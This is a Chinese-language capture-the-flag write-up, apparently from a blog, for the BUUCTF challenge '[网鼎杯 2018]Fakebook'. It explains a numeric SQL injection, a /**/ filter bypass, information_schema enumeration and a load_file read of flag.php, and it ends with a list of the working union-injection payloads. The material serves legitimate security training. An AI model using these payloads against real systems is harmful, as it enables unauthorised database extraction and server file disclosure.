buuctf_练[网鼎杯 2018]Fakebook

[网鼎杯 2018]Fakebook

文章目录

      • [网鼎杯 2018]Fakebook
      • 掌握知识
      • 解题思路
      • 关键paylaod

buuctf_练[网鼎杯 2018]Fakebook_第1张图片

掌握知识

​ SQL注入的联合注入;闭合类型的探查,本次是数字型闭合;SQL注入的读取文件的利用

解题思路

  1. 打开题目链接,发现主界面给了一些信息还有两个按钮,点开join发现是注册界面,随意出入信息注册账号,blog似乎得输入邮箱格式,直接输入字符串显示blog格式不对。返回再去点击登录界面发现不存在,尝试注册完直接输入登录地址显示登录成功

buuctf_练[网鼎杯 2018]Fakebook_第2张图片

buuctf_练[网鼎杯 2018]Fakebook_第3张图片

buuctf_练[网鼎杯 2018]Fakebook_第4张图片

  1. 登录成功后显示了刚才注册的信息,而且发现url地址有一个很明显的get传参,联想着刚才注册信息,现在返回注册信息,怀疑是SQL注入点,测试修改参数没发现新数据,直接添加单引号闭合发现数据库报错,再次闭合发现还是报错,尝试其他的闭合方式,发现数字型闭合方式测试成功

buuctf_练[网鼎杯 2018]Fakebook_第5张图片

image-20231025120159374

image-20231025120305745

buuctf_练[网鼎杯 2018]Fakebook_第6张图片

buuctf_练[网鼎杯 2018]Fakebook_第7张图片

  1. SQL注入注入点测试成功,继续测试列数,爆破表名列名,发现过滤了union select ,尝试大小写和双写绕过都没成功,将空格换成/**/成功回显信息绕过过滤。回显位置是2,后面也没有其他的过滤了,使用保存好的联合注入语句,修改2号位的SQL语句爆破出列名和表名

image-20231025120413149

buuctf_练[网鼎杯 2018]Fakebook_第8张图片

buuctf_练[网鼎杯 2018]Fakebook_第9张图片

  1. 爆破得到列名,以为flag就在数据库中保存着了,但没想到查看数据之后发现是一串序列化字符串,而且保存的内容还是之前注册的信息

buuctf_练[网鼎杯 2018]Fakebook_第10张图片

  1. 有点小懵逼,flag不在数据库中,猜测这道题可能考察的是SQL注入使用load_file("文件路径")读取文件的操作,根据网站的报错信息也知道了网站的绝对路径,先尝试读取网站的flag.php文件,发现页面没回显,查看源代码拿下flag,没想到还真就是flag.php

buuctf_练[网鼎杯 2018]Fakebook_第11张图片

buuctf_练[网鼎杯 2018]Fakebook_第12张图片

  1. 但还是对序列化字符串有点不解,查看了一下其他wp,发现爆破会得到了一个备份文件,利用反序列化和SSRF进行文件读取的操作,其实到最后还是进行文件读取flag.php文件,只是看了一下备份文件的源代码还是有些难以理解的。但还是记住SQL注入还是先要探查好表内数据,但发现表内没有可利用的信息,而且还是联合注入的情况下,可能就是考察读取文件操作,可以测试一下是否可以使用load_file直接读取文件内容。

关键paylaod

1 and 1=1     1 and 1=2

1 order by 4

-1 union/**/select 1,database(),3,4
 
-1 union/**/select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4
 
-1 union/**/select 1,(select group_concat(column_name) from information_schema.columns where table_name="users"),3,4

-1 union/**/select 1,(select data from users),3,4

-1 union/**/select 1,(select load_file("/var/www/html/flag.php")),3,4

你可能感兴趣的:(buuctf刷题,网络安全,其他,笔记,web安全)